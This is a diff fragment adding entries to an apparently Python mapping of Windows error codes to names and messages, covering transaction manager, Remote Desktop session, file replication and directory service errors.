+        0x00001a3e: ("ERROR_TRANSACTIONMANAGER_NOT_FOUND", "The specified TransactionManager object could not be opened, because it was not found."),
+        0x00001a3f: ("ERROR_TRANSACTIONMANAGER_NOT_ONLINE", "The object specified could not be created or opened, because its associated TransactionManager is not online.  The TransactionManager must be brought fully Online by calling RecoverTransactionManager to recover to the end of its LogFile before objects in its Transaction or ResourceManager namespaces can be opened.  In addition, errors in writing records to its LogFile can cause a TransactionManager to go offline."),
+        0x00001a40: ("ERROR_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION", "The specified TransactionManager was unable to create the objects contained in its logfile in the Ob namespace. Therefore, the TransactionManager was unable to recover."),
+        0x00001a41: ("ERROR_TRANSACTION_NOT_ROOT", "The call to create a superior Enlistment on this Transaction object could not be completed, because the Transaction object specified for the enlistment is a subordinate branch of the Transaction. Only the root of the Transaction can be enlisted on as a superior."),
+        0x00001a42: ("ERROR_TRANSACTION_OBJECT_EXPIRED", "Because the associated transaction manager or resource manager has been closed, the handle is no longer valid."),
+        0x00001a43: ("ERROR_TRANSACTION_RESPONSE_NOT_ENLISTED", "The specified operation could not be performed on this Superior enlistment, because the enlistment was not created with the corresponding completion response in the NotificationMask."),
+        0x00001a44: ("ERROR_TRANSACTION_RECORD_TOO_LONG", "The specified operation could not be performed, because the record that would be logged was too long. This can occur because of two conditions: either there are too many Enlistments on this Transaction, or the combined RecoveryInformation being logged on behalf of those Enlistments is too long."),
+        0x00001a45: ("ERROR_IMPLICIT_TRANSACTION_NOT_SUPPORTED", "Implicit transaction are not supported."),
+        0x00001a46: ("ERROR_TRANSACTION_INTEGRITY_VIOLATED", "The kernel transaction manager had to abort or forget the transaction because it blocked forward progress."),
+        0x00001a47: ("ERROR_TRANSACTIONMANAGER_IDENTITY_MISMATCH", "The TransactionManager identity that was supplied did not match the one recorded in the TransactionManager's log file."),
+        0x00001a48: ("ERROR_RM_CANNOT_BE_FROZEN_FOR_SNAPSHOT", "This snapshot operation cannot continue because a transactional resource manager cannot be frozen in its current state.  Please try again."),
+        0x00001a49: ("ERROR_TRANSACTION_MUST_WRITETHROUGH", "The transaction cannot be enlisted on with the specified EnlistmentMask, because the transaction has already completed the PrePrepare phase.  In order to ensure correctness, the ResourceManager must switch to a write-through mode and cease caching data within this transaction.  Enlisting for only subsequent transaction phases may still succeed."),
+        0x00001a4a: ("ERROR_TRANSACTION_NO_SUPERIOR", "The transaction does not have a superior enlistment."),
+        0x00001a4b: ("ERROR_HEURISTIC_DAMAGE_POSSIBLE", "The attempt to commit the Transaction completed, but it is possible that some portion of the transaction tree did not commit successfully due to heuristics.  Therefore it is possible that some data modified in the transaction may not have committed, resulting in transactional inconsistency.  If possible, check the consistency of the associated data."),
+        0x00001a90: ("ERROR_TRANSACTIONAL_CONFLICT", "The function attempted to use a name that is reserved for use by another transaction."),
+        0x00001a91: ("ERROR_RM_NOT_ACTIVE", "Transaction support within the specified resource manager is not started or was shut down due to an error."),
+        0x00001a92: ("ERROR_RM_METADATA_CORRUPT", "The metadata of the RM has been corrupted. The RM will not function."),
+        0x00001a93: ("ERROR_DIRECTORY_NOT_RM", "The specified directory does not contain a resource manager."),
+        0x00001a95: ("ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE", "The remote server or share does not support transacted file operations."),
+        0x00001a96: ("ERROR_LOG_RESIZE_INVALID_SIZE", "The requested log size is invalid."),
+        0x00001a97: ("ERROR_OBJECT_NO_LONGER_EXISTS", "The object (file, stream, link) corresponding to the handle has been deleted by a Transaction Savepoint Rollback."),
+        0x00001a98: ("ERROR_STREAM_MINIVERSION_NOT_FOUND", "The specified file miniversion was not found for this transacted file open."),
+        0x00001a99: ("ERROR_STREAM_MINIVERSION_NOT_VALID", "The specified file miniversion was found but has been invalidated. Most likely cause is a transaction savepoint rollback."),
+        0x00001a9a: ("ERROR_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION", "A miniversion may only be opened in the context of the transaction that created it."),
+        0x00001a9b: ("ERROR_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT", "It is not possible to open a miniversion with modify access."),
+        0x00001a9c: ("ERROR_CANT_CREATE_MORE_STREAM_MINIVERSIONS", "It is not possible to create any more miniversions for this stream."),
+        0x00001a9e: ("ERROR_REMOTE_FILE_VERSION_MISMATCH", "The remote server sent mismatching version number or Fid for a file opened with transactions."),
+        0x00001a9f: ("ERROR_HANDLE_NO_LONGER_VALID", "The handle has been invalidated by a transaction. The most likely cause is the presence of memory mapping on a file or an open handle when the transaction ended or rolled back to savepoint."),
+        0x00001aa0: ("ERROR_NO_TXF_METADATA", "There is no transaction metadata on the file."),
+        0x00001aa1: ("ERROR_LOG_CORRUPTION_DETECTED", "The log data is corrupt."),
+        0x00001aa2: ("ERROR_CANT_RECOVER_WITH_HANDLE_OPEN", "The file can't be recovered because there is a handle still open on it."),
+        0x00001aa3: ("ERROR_RM_DISCONNECTED", "The transaction outcome is unavailable because the resource manager responsible for it has disconnected."),
+        0x00001aa4: ("ERROR_ENLISTMENT_NOT_SUPERIOR", "The request was rejected because the enlistment in question is not a superior enlistment."),
+        0x00001aa5: ("ERROR_RECOVERY_NOT_NEEDED", "The transactional resource manager is already consistent. Recovery is not needed."),
+        0x00001aa6: ("ERROR_RM_ALREADY_STARTED", "The transactional resource manager has already been started."),
+        0x00001aa7: ("ERROR_FILE_IDENTITY_NOT_PERSISTENT", "The file cannot be opened transactionally, because its identity depends on the outcome of an unresolved transaction."),
+        0x00001aa8: ("ERROR_CANT_BREAK_TRANSACTIONAL_DEPENDENCY", "The operation cannot be performed because another transaction is depending on the fact that this property will not change."),
+        0x00001aa9: ("ERROR_CANT_CROSS_RM_BOUNDARY", "The operation would involve a single file with two transactional resource managers and is therefore not allowed."),
+        0x00001aaa: ("ERROR_TXF_DIR_NOT_EMPTY", "The $Txf directory must be empty for this operation to succeed."),
+        0x00001aab: ("ERROR_INDOUBT_TRANSACTIONS_EXIST", "The operation would leave a transactional resource manager in an inconsistent state and is therefore not allowed."),
+        0x00001aac: ("ERROR_TM_VOLATILE", "The operation could not be completed because the transaction manager does not have a log."),
+        0x00001aad: ("ERROR_ROLLBACK_TIMER_EXPIRED", "A rollback could not be scheduled because a previously scheduled rollback has already executed or been queued for execution."),
+        0x00001aae: ("ERROR_TXF_ATTRIBUTE_CORRUPT", "The transactional metadata attribute on the file or directory is corrupt and unreadable."),
+        0x00001aaf: ("ERROR_EFS_NOT_ALLOWED_IN_TRANSACTION", "The encryption operation could not be completed because a transaction is active."),
+        0x00001ab0: ("ERROR_TRANSACTIONAL_OPEN_NOT_ALLOWED", "This object is not allowed to be opened in a transaction."),
+        0x00001ab1: ("ERROR_LOG_GROWTH_FAILED", "An attempt to create space in the transactional resource manager's log failed. The failure status has been recorded in the event log."),
+        0x00001ab2: ("ERROR_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE", "Memory mapping (creating a mapped section) a remote file under a transaction is not supported."),
+        0x00001ab3: ("ERROR_TXF_METADATA_ALREADY_PRESENT", "Transaction metadata is already present on this file and cannot be superseded."),
+        0x00001ab4: ("ERROR_TRANSACTION_SCOPE_CALLBACKS_NOT_SET", "A transaction scope could not be entered because the scope handler has not been initialized."),
+        0x00001ab5: ("ERROR_TRANSACTION_REQUIRED_PROMOTION", "Promotion was required in order to allow the resource manager to enlist, but the transaction was set to disallow it."),
+        0x00001ab6: ("ERROR_CANNOT_EXECUTE_FILE_IN_TRANSACTION", "This file is open for modification in an unresolved transaction and may be opened for execute only by a transacted reader."),
+        0x00001ab7: ("ERROR_TRANSACTIONS_NOT_FROZEN", "The request to thaw frozen transactions was ignored because transactions had not previously been frozen."),
+        0x00001ab8: ("ERROR_TRANSACTION_FREEZE_IN_PROGRESS", "Transactions cannot be frozen because a freeze is already in progress."),
+        0x00001ab9: ("ERROR_NOT_SNAPSHOT_VOLUME", "The target volume is not a snapshot volume. This operation is only valid on a volume mounted as a snapshot."),
+        0x00001aba: ("ERROR_NO_SAVEPOINT_WITH_OPEN_FILES", "The savepoint operation failed because files are open on the transaction. This is not permitted."),
+        0x00001abb: ("ERROR_DATA_LOST_REPAIR", "Windows has discovered corruption in a file, and that file has since been repaired. Data loss may have occurred."),
+        0x00001abc: ("ERROR_SPARSE_NOT_ALLOWED_IN_TRANSACTION", "The sparse operation could not be completed because a transaction is active on the file."),
+        0x00001abd: ("ERROR_TM_IDENTITY_MISMATCH", "The call to create a TransactionManager object failed because the Tm Identity stored in the logfile does not match the Tm Identity that was passed in as an argument."),
+        0x00001abe: ("ERROR_FLOATED_SECTION", "I/O was attempted on a section object that has been floated as a result of a transaction ending. There is no valid data."),
+        0x00001abf: ("ERROR_CANNOT_ACCEPT_TRANSACTED_WORK", "The transactional resource manager cannot currently accept transacted work due to a transient condition such as low resources."),
+        0x00001ac0: ("ERROR_CANNOT_ABORT_TRANSACTIONS", "The transactional resource manager had too many transactions outstanding that could not be aborted. The transactional resource manager has been shut down."),
+        0x00001ac1: ("ERROR_BAD_CLUSTERS", "The operation could not be completed due to bad clusters on disk."),
+        0x00001ac2: ("ERROR_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION", "The compression operation could not be completed because a transaction is active on the file."),
+        0x00001ac3: ("ERROR_VOLUME_DIRTY", "The operation could not be completed because the volume is dirty. Please run chkdsk and try again."),
+        0x00001ac4: ("ERROR_NO_LINK_TRACKING_IN_TRANSACTION", "The link tracking operation could not be completed because a transaction is active."),
+        0x00001ac5: ("ERROR_OPERATION_NOT_SUPPORTED_IN_TRANSACTION", "This operation cannot be performed in a transaction."),
+        0x00001ac6: ("ERROR_EXPIRED_HANDLE", "The handle is no longer properly associated with its transaction.  It may have been opened in a transactional resource manager that was subsequently forced to restart.  Please close the handle and open a new one."),
+        0x00001ac7: ("ERROR_TRANSACTION_NOT_ENLISTED", "The specified operation could not be performed because the resource manager is not enlisted in the transaction."),
+        0x00001b59: ("ERROR_CTX_WINSTATION_NAME_INVALID", "The specified session name is invalid."),
+        0x00001b5a: ("ERROR_CTX_INVALID_PD", "The specified protocol driver is invalid."),
+        0x00001b5b: ("ERROR_CTX_PD_NOT_FOUND", "The specified protocol driver was not found in the system path."),
+        0x00001b5c: ("ERROR_CTX_WD_NOT_FOUND", "The specified terminal connection driver was not found in the system path."),
+        0x00001b5d: ("ERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY", "A registry key for event logging could not be created for this session."),
+        0x00001b5e: ("ERROR_CTX_SERVICE_NAME_COLLISION", "A service with the same name already exists on the system."),
+        0x00001b5f: ("ERROR_CTX_CLOSE_PENDING", "A close operation is pending on the session."),
+        0x00001b60: ("ERROR_CTX_NO_OUTBUF", "There are no free output buffers available."),
+        0x00001b61: ("ERROR_CTX_MODEM_INF_NOT_FOUND", "The MODEM.INF file was not found."),
+        0x00001b62: ("ERROR_CTX_INVALID_MODEMNAME", "The modem name was not found in MODEM.INF."),
+        0x00001b63: ("ERROR_CTX_MODEM_RESPONSE_ERROR", "The modem did not accept the command sent to it. Verify that the configured modem name matches the attached modem."),
+        0x00001b64: ("ERROR_CTX_MODEM_RESPONSE_TIMEOUT", "The modem did not respond to the command sent to it. Verify that the modem is properly cabled and powered on."),
+        0x00001b65: ("ERROR_CTX_MODEM_RESPONSE_NO_CARRIER", "Carrier detect has failed or carrier has been dropped due to disconnect."),
+        0x00001b66: ("ERROR_CTX_MODEM_RESPONSE_NO_DIALTONE", "Dial tone not detected within the required time. Verify that the phone cable is properly attached and functional."),
+        0x00001b67: ("ERROR_CTX_MODEM_RESPONSE_BUSY", "Busy signal detected at remote site on callback."),
+        0x00001b68: ("ERROR_CTX_MODEM_RESPONSE_VOICE", "Voice detected at remote site on callback."),
+        0x00001b69: ("ERROR_CTX_TD_ERROR", "Transport driver error"),
+        0x00001b6e: ("ERROR_CTX_WINSTATION_NOT_FOUND", "The specified session cannot be found."),
+        0x00001b6f: ("ERROR_CTX_WINSTATION_ALREADY_EXISTS", "The specified session name is already in use."),
+        0x00001b70: ("ERROR_CTX_WINSTATION_BUSY", "The task you are trying to do can't be completed because Remote Desktop Services is currently busy. Please try again in a few minutes. Other users should still be able to log on."),
+        0x00001b71: ("ERROR_CTX_BAD_VIDEO_MODE", "An attempt has been made to connect to a session whose video mode is not supported by the current client."),
+        0x00001b7b: ("ERROR_CTX_GRAPHICS_INVALID", "The application attempted to enable DOS graphics mode. DOS graphics mode is not supported."),
+        0x00001b7d: ("ERROR_CTX_LOGON_DISABLED", "Your interactive logon privilege has been disabled. Please contact your administrator."),
+        0x00001b7e: ("ERROR_CTX_NOT_CONSOLE", "The requested operation can be performed only on the system console. This is most often the result of a driver or system DLL requiring direct console access."),
+        0x00001b80: ("ERROR_CTX_CLIENT_QUERY_TIMEOUT", "The client failed to respond to the server connect message."),
+        0x00001b81: ("ERROR_CTX_CONSOLE_DISCONNECT", "Disconnecting the console session is not supported."),
+        0x00001b82: ("ERROR_CTX_CONSOLE_CONNECT", "Reconnecting a disconnected session to the console is not supported."),
+        0x00001b84: ("ERROR_CTX_SHADOW_DENIED", "The request to control another session remotely was denied."),
+        0x00001b85: ("ERROR_CTX_WINSTATION_ACCESS_DENIED", "The requested session access is denied."),
+        0x00001b89: ("ERROR_CTX_INVALID_WD", "The specified terminal connection driver is invalid."),
+        0x00001b8a: ("ERROR_CTX_SHADOW_INVALID", "The requested session cannot be controlled remotely."),
+        0x00001b8b: ("ERROR_CTX_SHADOW_DISABLED", "The requested session is not configured to allow remote control."),
+        0x00001b8c: ("ERROR_CTX_CLIENT_LICENSE_IN_USE", "Your request to connect to this Terminal Server has been rejected. Your Terminal Server client license number is currently being used by another user. Please call your system administrator to obtain a unique license number."),
+        0x00001b8d: ("ERROR_CTX_CLIENT_LICENSE_NOT_SET", "Your request to connect to this Terminal Server has been rejected. Your Terminal Server client license number has not been entered for this copy of the Terminal Server client. Please contact your system administrator."),
+        0x00001b8e: ("ERROR_CTX_LICENSE_NOT_AVAILABLE", "The number of connections to this computer is limited and all connections are in use right now. Try connecting later or contact your system administrator."),
+        0x00001b8f: ("ERROR_CTX_LICENSE_CLIENT_INVALID", "The client you are using is not licensed to use this system. Your logon request is denied."),
+        0x00001b90: ("ERROR_CTX_LICENSE_EXPIRED", "The system license has expired. Your logon request is denied."),
+        0x00001b91: ("ERROR_CTX_SHADOW_NOT_RUNNING", "Remote control could not be terminated because the specified session is not currently being remotely controlled."),
+        0x00001b92: ("ERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE", "The remote control of the console was terminated because the display mode was changed. Changing the display mode in a remote control session is not supported."),
+        0x00001b93: ("ERROR_ACTIVATION_COUNT_EXCEEDED", "Activation has already been reset the maximum number of times for this installation. Your activation timer will not be cleared."),
+        0x00001b94: ("ERROR_CTX_WINSTATIONS_DISABLED", "Remote logins are currently disabled."),
+        0x00001b95: ("ERROR_CTX_ENCRYPTION_LEVEL_REQUIRED", "You do not have the proper encryption level to access this Session."),
+        0x00001b96: ("ERROR_CTX_SESSION_IN_USE", "The user %s\\%s is currently logged on to this computer. Only the current user or an administrator can log on to this computer."),
+        0x00001b97: ("ERROR_CTX_NO_FORCE_LOGOFF", "The user %s\\%s is already logged on to the console of this computer. You do not have permission to log in at this time. To resolve this issue, contact %s\\%s and have them log off."),
+        0x00001b98: ("ERROR_CTX_ACCOUNT_RESTRICTION", "Unable to log you on because of an account restriction."),
+        0x00001b99: ("ERROR_RDP_PROTOCOL_ERROR", "The RDP protocol component %2 detected an error in the protocol stream and has disconnected the client."),
+        0x00001b9a: ("ERROR_CTX_CDM_CONNECT", "The Client Drive Mapping Service Has Connected on Terminal Connection."),
+        0x00001b9b: ("ERROR_CTX_CDM_DISCONNECT", "The Client Drive Mapping Service Has Disconnected on Terminal Connection."),
+        0x00001b9c: ("ERROR_CTX_SECURITY_LAYER_ERROR", "The Terminal Server security layer detected an error in the protocol stream and has disconnected the client."),
+        0x00001b9d: ("ERROR_TS_INCOMPATIBLE_SESSIONS", "The target session is incompatible with the current session."),
+        0x00001b9e: ("ERROR_TS_VIDEO_SUBSYSTEM_ERROR", "Windows can't connect to your session because a problem occurred in the Windows video subsystem. Try connecting again later, or contact the server administrator for assistance."),
+        0x00001f41: ("FRS_ERR_INVALID_API_SEQUENCE", "The file replication service API was called incorrectly."),
+        0x00001f42: ("FRS_ERR_STARTING_SERVICE", "The file replication service cannot be started."),
+        0x00001f43: ("FRS_ERR_STOPPING_SERVICE", "The file replication service cannot be stopped."),
+        0x00001f44: ("FRS_ERR_INTERNAL_API", "The file replication service API terminated the request. The event log may have more information."),
+        0x00001f45: ("FRS_ERR_INTERNAL", "The file replication service terminated the request. The event log may have more information."),
+        0x00001f46: ("FRS_ERR_SERVICE_COMM", "The file replication service cannot be contacted. The event log may have more information."),
+        0x00001f47: ("FRS_ERR_INSUFFICIENT_PRIV", "The file replication service cannot satisfy the request because the user has insufficient privileges. The event log may have more information."),
+        0x00001f48: ("FRS_ERR_AUTHENTICATION", "The file replication service cannot satisfy the request because authenticated RPC is not available. The event log may have more information."),
+        0x00001f49: ("FRS_ERR_PARENT_INSUFFICIENT_PRIV", "The file replication service cannot satisfy the request because the user has insufficient privileges on the domain controller. The event log may have more information."),
+        0x00001f4a: ("FRS_ERR_PARENT_AUTHENTICATION", "The file replication service cannot satisfy the request because authenticated RPC is not available on the domain controller. The event log may have more information."),
+        0x00001f4b: ("FRS_ERR_CHILD_TO_PARENT_COMM", "The file replication service cannot communicate with the file replication service on the domain controller. The event log may have more information."),
+        0x00001f4c: ("FRS_ERR_PARENT_TO_CHILD_COMM", "The file replication service on the domain controller cannot communicate with the file replication service on this computer. The event log may have more information."),
+        0x00001f4d: ("FRS_ERR_SYSVOL_POPULATE", "The file replication service cannot populate the system volume because of an internal error. The event log may have more information."),
+        0x00001f4e: ("FRS_ERR_SYSVOL_POPULATE_TIMEOUT", "The file replication service cannot populate the system volume because of an internal timeout. The event log may have more information."),
+        0x00001f4f: ("FRS_ERR_SYSVOL_IS_BUSY", "The file replication service cannot process the request. The system volume is busy with a previous request."),
+        0x00001f50: ("FRS_ERR_SYSVOL_DEMOTE", "The file replication service cannot stop replicating the system volume because of an internal error. The event log may have more information."),
+        0x00001f51: ("FRS_ERR_INVALID_SERVICE_PARAMETER", "The file replication service detected an invalid parameter."),
+        0x00002008: ("ERROR_DS_NOT_INSTALLED", "An error occurred while installing the directory service. For more information, see the event log."),
+        0x00002009: ("ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY", "The directory service evaluated group memberships locally."),
+        0x0000200a: ("ERROR_DS_NO_ATTRIBUTE_OR_VALUE", "The specified directory service attribute or value does not exist."),
+        0x0000200b: ("ERROR_DS_INVALID_ATTRIBUTE_SYNTAX", "The attribute syntax specified to the directory service is invalid."),
+        0x0000200c: ("ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED", "The attribute type specified to the directory service is not defined."),
+        0x0000200d: ("ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS", "The specified directory service attribute or value already exists."),
+        0x0000200e: ("ERROR_DS_BUSY", "The directory service is busy."),
+        0x0000200f: ("ERROR_DS_UNAVAILABLE", "The directory service is unavailable."),
+        0x00002010: ("ERROR_DS_NO_RIDS_ALLOCATED", "The directory service was unable to allocate a relative identifier."),
+        0x00002011: ("ERROR_DS_NO_MORE_RIDS", "The directory service has exhausted the pool of relative identifiers."),
+        0x00002012: ("ERROR_DS_INCORRECT_ROLE_OWNER", "The requested operation could not be performed because the directory service is not the master for that type of operation."),
+        0x00002013: ("ERROR_DS_RIDMGR_INIT_ERROR", "The directory service was unable to initialize the subsystem that allocates relative identifiers."),
+        0x00002014: ("ERROR_DS_OBJ_CLASS_VIOLATION", "The requested operation did not satisfy one or more constraints associated with the class of the object."),
+        0x00002015: ("ERROR_DS_CANT_ON_NON_LEAF", "The directory service can perform the requested operation only on a leaf object."),
+        0x00002016: ("ERROR_DS_CANT_ON_RDN", "The directory service cannot perform the requested operation on the RDN attribute of an object."),
+        0x00002017: ("ERROR_DS_CANT_MOD_OBJ_CLASS", "The directory service detected an attempt to modify the object class of an object."),
+        0x00002018: ("ERROR_DS_CROSS_DOM_MOVE_ERROR", "The requested cross-domain move operation could not be performed."),
+        0x00002019: ("ERROR_DS_GC_NOT_AVAILABLE", "Unable to contact the global catalog server."),
+        0x0000201a: ("ERROR_SHARED_POLICY", "The policy object is shared and can only be modified at the root."),
+        0x0000201b: ("ERROR_POLICY_OBJECT_NOT_FOUND", "The policy object does not exist."),
+        0x0000201c: ("ERROR_POLICY_ONLY_IN_DS", "The requested policy information is only in the directory service."),
+        0x0000201d: ("ERROR_PROMOTION_ACTIVE", "A domain controller promotion is currently active."),
+        0x0000201e: ("ERROR_NO_PROMOTION_ACTIVE", "A domain controller promotion is not currently active"),
+        0x00002020: ("ERROR_DS_OPERATIONS_ERROR", "An operations error occurred."),
+        0x00002021: ("ERROR_DS_PROTOCOL_ERROR", "A protocol error occurred."),
+        0x00002022: ("ERROR_DS_TIMELIMIT_EXCEEDED", "The time limit for this request was exceeded."),
+        0x00002023: ("ERROR_DS_SIZELIMIT_EXCEEDED", "The size limit for this request was exceeded."),
+        0x00002024: ("ERROR_DS_ADMIN_LIMIT_EXCEEDED", "The administrative limit for this request was exceeded."),
+        0x00002025: ("ERROR_DS_COMPARE_FALSE", "The compare response was false."),
+        0x00002026: ("ERROR_DS_COMPARE_TRUE", "The compare response was true."),
+        0x00002027: ("ERROR_DS_AUTH_METHOD_NOT_SUPPORTED", "The requested authentication method is not supported by the server."),
+        0x00002028: ("ERROR_DS_STRONG_AUTH_REQUIRED", "A more secure authentication method is required for this server."),
+        0x00002029: ("ERROR_DS_INAPPROPRIATE_AUTH", "Inappropriate authentication."),
+        0x0000202a: ("ERROR_DS_AUTH_UNKNOWN", "The authentication mechanism is unknown."),
+        0x0000202b: ("ERROR_DS_REFERRAL", "A referral was returned from the server."),
+        0x0000202c: ("ERROR_DS_UNAVAILABLE_CRIT_EXTENSION", "The server does not support the requested critical extension."),
+        0x0000202d: ("ERROR_DS_CONFIDENTIALITY_REQUIRED", "This request requires a secure connection."),
+        0x0000202e: ("ERROR_DS_INAPPROPRIATE_MATCHING", "Inappropriate matching."),
+        0x0000202f: ("ERROR_DS_CONSTRAINT_VIOLATION", "A constraint violation occurred."),
+        0x00002030: ("ERROR_DS_NO_SUCH_OBJECT", "There is no such object on the server."),
+        0x00002031: ("ERROR_DS_ALIAS_PROBLEM", "There is an alias problem."),
+        0x00002032: ("ERROR_DS_INVALID_DN_SYNTAX", "An invalid dn syntax has been specified."),
+        0x00002033: ("ERROR_DS_IS_LEAF", "The object is a leaf object."),
+        0x00002034: ("ERROR_DS_ALIAS_DEREF_PROBLEM", "There is an alias dereferencing problem."),
+        0x00002035: ("ERROR_DS_UNWILLING_TO_PERFORM", "The server is unwilling to process the request."),
+        0x00002036: ("ERROR_DS_LOOP_DETECT", "A loop has been detected."),
+        0x00002037: ("ERROR_DS_NAMING_VIOLATION", "There is a naming violation."),
+        0x00002038: ("ERROR_DS_OBJECT_RESULTS_TOO_LARGE", "The result set is too large."),
+        0x00002039: ("ERROR_DS_AFFECTS_MULTIPLE_DSAS", "The operation affects multiple DSAs"),
+        0x0000203a: ("ERROR_DS_SERVER_DOWN", "The server is not operational."),
+        0x0000203b: ("ERROR_DS_LOCAL_ERROR", "A local error has occurred."),
+        0x0000203c: ("ERROR_DS_ENCODING_ERROR", "An encoding error has occurred."),
+        0x0000203d: ("ERROR_DS_DECODING_ERROR", "A decoding error has occurred."),
+        0x0000203e: ("ERROR_DS_FILTER_UNKNOWN", "The search filter cannot be recognized."),
+        0x0000203f: ("ERROR_DS_PARAM_ERROR", "One or more parameters are illegal."),
+        0x00002040: ("ERROR_DS_NOT_SUPPORTED", "The specified method is not supported."),
+        0x00002041: ("ERROR_DS_NO_RESULTS_RETURNED", "No results were returned."),
+        0x00002042: ("ERROR_DS_CONTROL_NOT_FOUND", "The specified control is not supported by the server."),
+        0x00002043: ("ERROR_DS_CLIENT_LOOP", "A referral loop was detected by the client."),
+        0x00002044: ("ERROR_DS_REFERRAL_LIMIT_EXCEEDED", "The preset referral limit was exceeded."),
+        0x00002045: ("ERROR_DS_SORT_CONTROL_MISSING", "The search requires a SORT control."),
+        0x00002046: ("ERROR_DS_OFFSET_RANGE_ERROR", "The search results exceed the offset range specified."),
+        0x00002047: ("ERROR_DS_RIDMGR_DISABLED", "The directory service detected the subsystem that allocates relative identifiers is disabled. This can occur as a protective mechanism when the system determines a significant portion of relative identifiers (RIDs) have been exhausted. Please see https://go.microsoft.com/fwlink/?LinkId=228610 for recommended diagnostic steps and the procedure to re-enable account creation."),
+        0x0000206d: ("ERROR_DS_ROOT_MUST_BE_NC", "The root object must be the head of a naming context. The root object cannot have an instantiated parent."),
+        0x0000206e: ("ERROR_DS_ADD_REPLICA_INHIBITED", "The add replica operation cannot be performed. The naming context must be writeable in order to create the replica."),
+        0x0000206f: ("ERROR_DS_ATT_NOT_DEF_IN_SCHEMA", "A reference to an attribute that is not defined in the schema occurred."),
+        0x00002070: ("ERROR_DS_MAX_OBJ_SIZE_EXCEEDED", "The maximum size of an object has been exceeded."),
+        0x00002071: ("ERROR_DS_OBJ_STRING_NAME_EXISTS", "An attempt was made to add an object to the directory with a name that is already in use."),
+        0x00002072: ("ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA", "An attempt was made to add an object of a class that does not have an RDN defined in the schema."),
+        0x00002073: ("ERROR_DS_RDN_DOESNT_MATCH_SCHEMA", "An attempt was made to add an object using an RDN that is not the RDN defined in the schema."),
+        0x00002074: ("ERROR_DS_NO_REQUESTED_ATTS_FOUND", "None of the requested attributes were found on the objects."),
+        0x00002075: ("ERROR_DS_USER_BUFFER_TO_SMALL", "The user buffer is too small."),
+        0x00002076: ("ERROR_DS_ATT_IS_NOT_ON_OBJ", "The attribute specified in the operation is not present on the object."),
+        0x00002077: ("ERROR_DS_ILLEGAL_MOD_OPERATION", "Illegal modify operation. Some aspect of the modification is not permitted."),
+        0x00002078: ("ERROR_DS_OBJ_TOO_LARGE", "The specified object is too large."),
+        0x00002079: ("ERROR_DS_BAD_INSTANCE_TYPE", "The specified instance type is not valid."),
+        0x0000207a: ("ERROR_DS_MASTERDSA_REQUIRED", "The operation must be performed at a master DSA."),
+        0x0000207b: ("ERROR_DS_OBJECT_CLASS_REQUIRED", "The object class attribute must be specified."),
+        0x0000207c: ("ERROR_DS_MISSING_REQUIRED_ATT", "A required attribute is missing."),
+        0x0000207d: ("ERROR_DS_ATT_NOT_DEF_FOR_CLASS", "An attempt was made to modify an object to include an attribute that is not legal for its class."),
+        0x0000207e: ("ERROR_DS_ATT_ALREADY_EXISTS", "The specified attribute is already present on the object."),
+        0x00002080: ("ERROR_DS_CANT_ADD_ATT_VALUES", "The specified attribute is not present, or has no values."),
+        0x00002081: ("ERROR_DS_SINGLE_VALUE_CONSTRAINT", "Multiple values were specified for an attribute that can have only one value."),
+        0x00002082: ("ERROR_DS_RANGE_CONSTRAINT", "A value for the attribute was not in the acceptable range of values."),
+        0x00002083: ("ERROR_DS_ATT_VAL_ALREADY_EXISTS", "The specified value already exists."),
+        0x00002084: ("ERROR_DS_CANT_REM_MISSING_ATT", "The attribute cannot be removed because it is not present on the object."),
+        0x00002085: ("ERROR_DS_CANT_REM_MISSING_ATT_VAL", "The attribute value cannot be removed because it is not present on the object."),
+        0x00002086: ("ERROR_DS_ROOT_CANT_BE_SUBREF", "The specified root object cannot be a subref."),
+        0x00002087: ("ERROR_DS_NO_CHAINING", "Chaining is not permitted."),
+        0x00002088: ("ERROR_DS_NO_CHAINED_EVAL", "Chained evaluation is not permitted."),
+        0x00002089: ("ERROR_DS_NO_PARENT_OBJECT", "The operation could not be performed because the object's parent is either uninstantiated or deleted."),
+        0x0000208a: ("ERROR_DS_PARENT_IS_AN_ALIAS", "Having a parent that is an alias is not permitted. Aliases are leaf objects."),
+        0x0000208b: ("ERROR_DS_CANT_MIX_MASTER_AND_REPS", "The object and parent must be of the same type, either both masters or both replicas."),
+        0x0000208c: ("ERROR_DS_CHILDREN_EXIST", "The operation cannot be performed because child objects exist. This operation can only be performed on a leaf object."),
+        0x0000208d: ("ERROR_DS_OBJ_NOT_FOUND", "Directory object not found."),
+        0x0000208e: ("ERROR_DS_ALIASED_OBJ_MISSING", "The aliased object is missing."),
+        0x0000208f: ("ERROR_DS_BAD_NAME_SYNTAX", "The object name has bad syntax."),
+        0x00002090: ("ERROR_DS_ALIAS_POINTS_TO_ALIAS", "It is not permitted for an alias to refer to another alias."),
+        0x00002091: ("ERROR_DS_CANT_DEREF_ALIAS", "The alias cannot be dereferenced."),
+        0x00002092: ("ERROR_DS_OUT_OF_SCOPE", "The operation is out of scope."),
+        0x00002093: ("ERROR_DS_OBJECT_BEING_REMOVED", "The operation cannot continue because the object is in the process of being removed."),
+        0x00002094: ("ERROR_DS_CANT_DELETE_DSA_OBJ", "The DSA object cannot be deleted."),
+        0x00002095: ("ERROR_DS_GENERIC_ERROR", "A directory service error has occurred."),
+        0x00002096: ("ERROR_DS_DSA_MUST_BE_INT_MASTER", "The operation can only be performed on an internal master DSA object."),
+        0x00002097: ("ERROR_DS_CLASS_NOT_DSA", "The object must be of class DSA."),
+        0x00002098: ("ERROR_DS_INSUFF_ACCESS_RIGHTS", "Insufficient access rights to perform the operation."),
+        0x00002099: ("ERROR_DS_ILLEGAL_SUPERIOR", "The object cannot be added because the parent is not on the list of possible superiors."),
+        0x0000209a: ("ERROR_DS_ATTRIBUTE_OWNED_BY_SAM", "Access to the attribute is not permitted because the attribute is owned by the Security Accounts Manager (SAM)."),
